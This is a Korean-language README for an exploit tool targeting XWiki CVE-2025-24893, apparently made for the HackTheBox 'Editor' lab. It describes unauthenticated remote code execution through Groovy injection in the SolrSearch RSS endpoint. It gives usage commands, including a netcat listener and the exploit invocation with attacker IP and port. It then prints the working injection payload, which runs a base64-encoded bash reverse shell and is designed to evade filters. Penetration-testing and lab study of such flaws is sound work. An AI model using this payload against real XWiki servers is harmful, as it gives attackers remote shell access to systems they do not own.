XWiki CVE-2025-24893 익스플로잇

CVE-2025-24893에 취약한 XWiki 버전을 위한 인증 없는 원격 코드 실행 익스플로잇입니다.

취약점 개요

15.10.9 이전의 XWiki 버전은 SolrSearch RSS 피드 핸들러에서 Groovy 스크립트 삽입을 통해 인증 없는 RCE에 취약합니다. 이 취약점은 XWiki가 text 매개변수의 사용자 입력을 적절히 살균하지 않아 공격자가 RSS 컨텍스트를 벗어나 임의의 Groovy 코드를 주입할 수 있기 때문에 존재합니다.

CVE ID: CVE-2025-24893
CVSS 점수: 9.8 (심각)
영향받는 버전: XWiki < 15.10.9

기능

• 간단한 명령줄 인터페이스
• 자동 페이로드 생성 및 인코딩
• 기본 필터를 우회하기 위한 Base64 인코딩된 리버스 셸
• 최소한의 종속성 (requests 라이브러리만 필요)

요구 사항

pip3 install requests

사용법

python3 exploit.py <target_url> <attacker_ip> <listener_port>

예시:

# Start listener on attacker machine
nc -lvnp 9001

# Run exploit
python3 exploit.py http://10.10.11.80:8080 10.10.14.5 9001

작동 방식

1. bash 리버스 셸 명령을 구성합니다
2. 페이로드를 Base64로 인코딩합니다
3. 템플릿 주입(}}}}}}{{{{groovy}}}})을 사용하여 Groovy 코드로 래핑합니다
4. 필요한 구분자를 유지하면서 페이로드를 URL 인코딩합니다
5. /xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload>에 GET 요청을 보냅니다
6. XWiki가 악성 RSS 피드를 처리하고 Groovy 코드를 실행합니다

개념 증명

익스플로잇은 다음 엔드포인트를 대상으로 합니다:

/xwiki/bin/get/Main/SolrSearch?media=rss&text=

취약점을 통해 RSS 피드 컨텍스트를 벗어날 수 있습니다:

}}}}}}{{{{async async=false}}}}{{{{groovy}}}}
"bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}".execute()
{{{{/groovy}}}}{{{{/async}}}}

면책 조항

이 도구는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 작성자는 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 이 익스플로잇은 소유한 시스템이나 테스트할 명시적 허가를 받은 시스템에만 사용하십시오.

참고 자료

• XWiki 보안 권고
• CVE-2025-24893

라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요

작성자

HTB 박스 'Editor'를 위해 제작됨

참고: 시스템을 테스트하기 전에 항상 적절한 권한이 있는지 확인하십시오.